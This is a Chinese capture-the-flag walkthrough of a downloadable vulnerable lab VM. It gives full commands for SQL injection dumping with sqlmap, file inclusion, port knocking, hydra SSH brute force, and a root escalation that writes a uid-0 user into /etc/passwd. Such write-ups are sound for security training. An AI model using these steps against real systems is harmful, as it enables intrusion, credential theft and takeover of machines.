鸡汤来咯~~~~
前言:
本次实验是利用kali进行渗透的,是一款面对新手的不二选择。
此靶场有助于熟悉渗透思维能力。
靶场链接:
链接:https://pan.baidu.com/s/12haK3lF1adDCOuGFwO3ZRA
提取码:dc09
下载导入虚拟机把桥接改成NAT模式,把桥接改成NAT模式,把桥接改成NAT模式重要的事情说三遍!
注:这只是一个靶场只提供参考,勿要真实模拟。
一.信息收集之nmap扫描

主机扫描:
nmap -sP 192.168.115.0/24 #这里需要根据自己的ip地址所进行改动,

用nmap扫出DC靶场ip:192.168.115.140
端口扫描:
nmap -sP -A 192.168.115.140

这里我们发现目标端口的22端口服务显示过滤状态,应该是故意关掉的。这下就勾起我们的好奇心来了,说明里面肯定有瓜,接着步骤往下一步步来探索探索。
目录扫描:
dirsearch -u 192.168.115.140 -e * -x 403 --random-agent (过程有些漫长,请耐心等待)

(这里可能会有人问为啥不用dirb,因为我试了,只扫出来四条)
这里我们扫出来多个页面,把我们挨个看看有点啥。
页面探测:
经过多个页面的访问,我们发现了网页的这个页面存在一个输入框,

发现输入框第一件事就让我想起了SQL注入,让我们进行简单探测一下,

尝试了一下万能密码1' or 1=1#报出来一堆用户信息,1' or 1=2#存在报错,说明这个输入框是存在SQL注入点的。那么知道了注入点就好办了,直接上SQLmap,准备开始吃瓜了----
二.渗透过程
SQL注入之SQLmap:
burp抓包判断传输类型(get、post)

确认完毕,该网页是以POST传输形式进行传输的,那么就直接sqlmap开跑~
1.1跑库名
sqlmap -u "http://192.168.115.140/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --current-db

发现库名'Staff'。
1.2跑表名
sqlmap -u "http://192.168.115.140/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -tables

跑完表发现了StaffDefaults、Users二张表,又是熟悉的场景这里我们不需要犹豫,直接跑Users表爆字段。---在过去我们跑过太多users表了。
1.3跑字段
sqlmap -u "http://192.168.115.140/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -columns

这里我们也不做多的解释了,看见password直接跑。
1.4爆字段值
sqlmap -u "http://192.168.115.140/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'Username,Password,UserID' -dump 时间有些漫长,请耐心等待...

最终我们爆出了一串MD5加密的字段:856f5de590ef37314e7c3bdf6f8a66dc

得出最后的用户和密码:admin transorbital1
登入后台:
在页面中,我们还发现了一处用户登录处,我们尝试用上面爆破出来的用户密码尝试进行登录。


在成功登录后台,在这个页面发现了不少登录框,在页面底部有一串Flie does not exist,意思是文件不存在,那么就说明,这个网页存在了文件包含漏洞。那么文件包含漏洞需要借助burp和字典,利用burp进行抓包构建构建构建payload(有效荷载)。



这里我们发现只有参数为file时,页面有结果,进行下一步探测。
端口敲门服务:
考虑到ssh端口是关闭的,可能是开启了knock服务,利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件。这里我们将之前抓到的包发送至重组器里查看源码。

果然有,让我们来开启ssh服务。利用netcat对9843,8475,7469端口进行敲击:
nc -z 192.168.115.140 7469 8475 9842

敲击完之后发现22端口终于打开了
九头蛇ssh爆破:
在上面寻找sql注入点的时候我们找到了一串长长的用户信息,

我们再用sqlmap探测一下该页面属于哪个数据库。
sqlmap -u "http://192.168.115.140/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -dbs

进去挨个查看,我们发现用户信息数据存储在'users'数据库中,尝试查看。
sqlmap -u "http://192.168.115.140/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump

我们尝试用这些用户信息自己组建一个username和password的字典,将他们分别复制到新建的文本里。
新建username.txt,将用户信息复制进去

新建password.txt

将这二个文本设置好之后,利用九头蛇进行ssh爆破用户名密码。
hydra -L username.txt -P password.txt ssh://192.168.115.140

经过三次用户登录发现只有用户'janitor'存在有点意思的文件夹

我们在这里发现几组密码,说明了我们在上面的九头蛇进行ssh用户爆破的时候利用的不全的password字典,我们将这几组密码复制到刚才新建的password.txt文件里面。

复制完成之后重新进行一次爆破
hydra -L username.txt -P password.txt ssh://192.168.115.140

出现了一个新的用户密码,进行登录查看。

进去的时候我们查看文件发现了一个需要root权限的一个文件夹,那么我们来尝试下一步提权吧。
吃瓜吃瓜~~
提权:
利用cat 打开test发现是一串乱码,估计是一个exe应用程序。

这时我们从文件上级巡查一下
发现在devstuff目录下发现了test.py文件和test.spec文件,我们先看看test.py文件进行代码审计一下

该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py 1.txt 2.txt,就会将1.txt的文件内容保存到2.txt里面。理解成套娃就懂了。
那么我们/tmp目录下利用openssl命令创建一个新用户
openssl password -1 -salt <用户名> <密码>

创建好的同时也给了一串hash值:$1$hack$xR6zsfvpez/t8teGRRSNr.
接着到tmp目录下新建一个文件:
echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > hack
再回到/opt/devstuff/dist/test目录,执行程序test,将hack的文件内容写入到/etc/passwd文件里面。



可以看见用户hack已提权为root权限了,最后就是切换用户
su hack

提权成功!

故事的结局到这里就结束了~~~~~~ 吃瓜

三.瓜后总结
学习使我进步......